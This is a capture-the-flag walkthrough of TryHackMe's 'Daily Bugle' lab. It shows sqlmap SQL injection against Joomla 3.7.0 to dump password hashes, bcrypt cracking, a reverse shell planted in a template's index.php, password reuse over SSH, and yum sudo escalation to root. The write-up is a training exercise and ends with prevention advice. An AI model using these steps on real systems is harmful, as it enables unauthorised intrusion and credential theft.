This Marvel-themed, multi-stage CTF is one of TryHackMe’s Offensive Pentesting rooms with a difficulty rating of “Hard”. Some highlights include brute-forcing passwords, SQL injection, and exploiting website templates. Answers in this guide will be hidden or blurred out, as normally.

You can find the link to The Daily Bugle room here.

If you’re attempting this CTF, you should already have some foundational knowledge and experience in pentesting. As such, I won’t go into much detail into say what nmap arguments mean, or where to get a reverse shell, or how to use John the Ripper. Now, let’s hack the website of “New York’s Most Trusted Newspaper”.


Q. Access the web server, who robbed the bank?#

No, it couldn’t be…

No, it couldn’t be…

This question answers itself just by looking at the homepage. If you read a bit further, the description of the post seems a bit fishy, but let’s roll with it for now.

Obtain User and Root#

Q. What is the Joomla version?#

Before we begin answering this question, what exactly is Joomla? Joomla is a free and open-source content management system (CMS), which you can use to build out your own websites or blog sites. It’s similar to WordPress, which I’m sure you’ve heard of before.

The fact that this question mentions Joomla hints that this website uses it as its base. But instead of just taking this at face value, you can verify this yourself with a Gobuster scan!

1gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u
 1/images (Status: 301)
 2/media (Status: 301)
 3/templates (Status: 301)
 4/modules (Status: 301)
 5/bin (Status: 301)
 6/plugins (Status: 301)
 7/includes (Status: 301)
 8/language (Status: 301)
 9/components (Status: 301)
10/cache (Status: 301)
11/libraries (Status: 301)
12/tmp (Status: 301)
13/layouts (Status: 301)
14/administrator (Status: 301)
15/cli (Status: 301)

You will see that there’s a /administrator webpage. Accessing this webpage will indeed lead to the Joomla administration portal.

Joomla administration login

Joomla administration login

Now to find the running version, we’re not given much from the target machine itself. You would need to do some background research on this, and by that I mean likely search something similar to “How can I find out the Joomla version?”. You’ll notice that finding this involves manipulating the URL for the Joomla site. There’s certain XML files included with Joomla that display its version, and their path and name depends on the version. Below are the 3 paths you can try to find the XML, and ultimately the version!


Q. What is Jonah’s cracked password?#

If you know a certain application is running with a certain version on the target, it’s a good idea to search if that version can be exploited. Searching on exploit-db.com, there is indeed a vulnerability for our version, a Joomla SQL Injection vulnerability.

SQLMap is included on most Kali Linux distributions, so we can use that tool for enumerating the backend database. First, let’s list all of the databases.

1sqlmap -u "[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
3available databases [5]:
4[*] information_schema
5[*] joomla
6[*] mysql
7[*] performance_schema
8[*] test

That joomla database looks interesting compared to the other standard MySQL databases, so let’s dump all the tables from there. We can run the same command as above, except instead of listing all databases with --dbs -p list, target the joomla database with -D joomla --tables.

1sqlmap -u "[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla --tables
 2[20:34:58] [INFO] fetching tables for database: 'joomla'
 3[20:34:59] [INFO] used SQL query returns 72 entries
 5Database: joomla
 6[72 tables]
 8| #__assets                  |
 9| ...                        |
10| ...                        |
11| #__user_profiles           |
12| #__user_usergroup_map      |
13| #__usergroups              |
14| #__users                   |
15| ...                        |
16| ...                        |

There are some tables related to user data here. It is very likely that usernames and password hashes would be stored in one of these tables. Dump all the data from one of these tables.

1sqlmap -u "[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T "#__users" --dump
 2[21:21:37] [INFO] starting 4 threads
 3[21:21:38] [INFO] retrieved: name                                                                                   
 4[21:21:38] [INFO] retrieved: id                                                                                     
 5[21:21:38] [INFO] retrieved: username                                                                               
 6[21:21:39] [INFO] retrieved: email                                                                                  
 7[21:21:53] [INFO] retrieved: password                                                                               
 8[21:44:52] [INFO] retrieved: params                                                                                 
10[21:53:19] [INFO] fetching entries for table '#__users' in database 'joomla'
11[21:53:20] [INFO] used SQL query returns 1 entries
12[21:53:21] [INFO] retrieved: jonah@tryhackme.com
13[21:53:22] [INFO] retrieved: 811
14[21:53:23] [INFO] retrieved: Super User
15[21:53:24] [INFO] retrieved: 
16[21:53:26] [INFO] retrieved: <<redacted>>
17[21:53:27] [INFO] retrieved: jonah

So now we’re making progress. There’s only one user on Joomla, namely jonah, and the password hash is <<redacted>>. This looks like a bcrypt hash, and you can verify this with any number of hash identification tools, such as hashes.com.

Detecting the hashing algorithm

Detecting the hashing algorithm

Now that we have a password hash, and we know the type of hash it is, we can use a cracking tool such as Hashcat or John The Ripper to get the unencrypted text. As for the dictionary to use, you can use the popular rockyou.txt file. Below are the equivalent commands for Hashcat and John to decrypt the password hash.

Warning! - This may take up to almost an hour to crack depending on your computer (I was using the THM Attackbox), so please be patient!

1john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt pass.hash
1hashcat -a 0 -m 3200 pass.hash

Q. What is the user flag?#

There will be many phases leading up to answering this question, so please bear with me.

Now that we have Jonah’s password, log in to the administration portal with those credentials. You should now be at the control panel as the Super User, allowing you to make virtually any modification to the site you want.

The Daily Bugle control panel

The Daily Bugle control panel

But we need to get into the underlying system itself, not just create a few posts on the site. Take some time to explore around the control panel, keeping a look out for potential exploit paths to access the server. Since this is a guide, I’ll cut straight to the right path (one of them anyway), but in practice, you might be spending hours trying to figure it out, which is okay.

If you look under the “Content” section in the control panel, you may have noticed a section labelled “Media”. On this interface, you may upload images and other content to be used on the site, which end up in the /images subdirectory (we found this in the Gobuster scan). You might be thinking at first that you can just upload a reverse shell through here, and activate it by navigating to say /images/banners/shell.php. So, let’s try it out!

Uploading our reverse shell

Uploading our reverse shell

Alright, we don’t see the file, but there were no apparent errors. Just go to the subdirectory and …

&hellip; What happened?

… What happened?

So it looks like the file really was blocked from upload, but how? Going back to the media panel, you’ll notice the “Options” icon, which links to the media permissions on the site. This sets the rules for which types of files can be uploaded to the site. If you go through the legal extensions and the MIME types, it will become apparent that PHP files do not fit these criteria, and are therefore blocked from upload.

Media options panel

Media options panel

However, you are the Super User, so you can change these as you see fit. Change them as necessary, such as disabling the “Restrict Uploads” and “Check MIME Types” settings. If you attempt an upload again, … it still fails. Try other configurations, but it will still fail to accept your reverse shell.

This is a typical red herring. There’s likely checks within the Joomla server code that are robust enough to block PHP uploads for this reason. This isn’t typical of these guides, but I wanted to share how easily it is to go down the rabbit hole with no solution. So, we’ll have to try something different, the real answer this time.

On the navigation bar, go to Extensions -> Templates -> Templates. These are potential website templates that you can set Joomla to use, and you can customize them as well. Select any that you please.

The Beez3 template page

The Beez3 template page

Reading the description and looking at the files that make up this template, this looks more promising. Joomla uses PHP files for rendering the templates, so it’s possible that we can upload our reverse shell here, and when the template loads, our reverse shell connection will load with it! Let’s overwrite the index.php file with our code, since that file will certainly load with the website. Make sure to save your changes.

Changing index.php to our reverse shell code

Changing index.php to our reverse shell code

Set up your listener, and click “Template Preview” to get your access to the system!

You’re now onto the system, so you can use any open-source suite of exploitation tools to find privilege escalation opportunities. You’re only the apache user, so your permissions are limited. You’ll notice a /home/jjameson directory, but you don’t have access to it. This might be where the user flag is hiding.

I uploaded LinPEAS to the target, and ran a scan which revealed some passwords in configuration files on the system:

1$ ./linpeas.sh
2Searching passwords in config PHP files
3  public $password = '<<redacted>>';
4    $this->password = (empty($this->options['db_pass'])) ? '' : $this->options['db_pass'];
5    $this->password = null;
6      'password' => $this->password,

Alright, so we’ve found a password, and we found the jjameson user on the system. Try out the credentials together. You don’t have to do it from the same reverse shell session either. An nmap scan will reveal that the ssh port is indeed open on this machine, and I’d rather have a more stable ssh session:

1nmap -sS -p 22
1Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-11 00:17 BST
2Nmap scan report for ip-10-10-21-80.eu-west-1.compute.internal (
3Host is up (0.00021s latency).
622/tcp open  ssh
7MAC Address: 02:A6:85:48:CB:79 (Unknown)
9Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds

Finally, after all that work, we have the user flag.

1ssh jjameson@
2jjameson@'s password: 
3Last login: Mon Dec 16 05:14:55 2019 from netwars
4[jjameson@dailybugle ~]$ ls
6[jjameson@dailybugle ~]$ cat user.txt 

Q. What is the root flag?#

Now, how do we get to root as jjameson? We can first check to see if we can run any commands as root by running sudo -l.

1User jjameson may run the following commands on dailybugle:
2    (ALL) NOPASSWD: /usr/bin/yum

Alright! So we can run the yum command with sudo, and without any password checks for convenience. We can consult GTFOBins to see how we can proceed next. There’s one method where we can craft a custom RPM package with fpm, but that command isn’t on this machine, so that’s out of the question. The second, much lengthier method is to spawn a root shell by loading a custom plugin. Run those commands, and you will now be root! Finding the flag from here should be trivial.

 1$ sudo yum -c $TF/x --enableplugin=y
 2Loaded plugins: y
 3No plugin match for: y
 5sh-4.2# whoami
 7sh-4.2# pwd
 9sh-4.2# cd /root/
10sh-4.2# ls
11anaconda-ks.cfg  root.txt
12sh-4.2# cat root.txt 

Final Thoughts#

This was a fairly challenging CTF my first time through. The two biggest hurdles for me were:

  • Waiting for Hashcat to crack the password (1Hr, 15mins)
  • How to go from Joomla Super User -> apache user (~2 days)

Outside of that, it’s pretty much a standard CTF. Enumerate the access points, do a fair bit of background research, and find the privilege escalation vectors. While it is a noticeable jump from the “Easy” rooms, I would rate The Daily Bugle at about “Medium” difficulty. Regardless, it is a great room to exercise a wide range of tools and strategies.

How could have this hack been prevented?#

An attacker would have been stopped immediately if the Joomla version was upgraded to 3.7.1. In this version of the software, the SQL injection vulnerability was patched1, preventing the Super User password from being leaked. Continuing to use 3.7.0 when a patch is available, is in violation of Using Components With Known Vulnerabilities of the OWASP Top 10.

Say that the patch wasn’t available at the time. The attacker would be able to gain a reverse shell as the apache user as shown in Q4, and would find a password in a PHP config file. Here, they would have been foiled again if only jjameson didn’t use the exact same password for his ssh credentials. This would have prevented an attacker from privilege escalating further to root.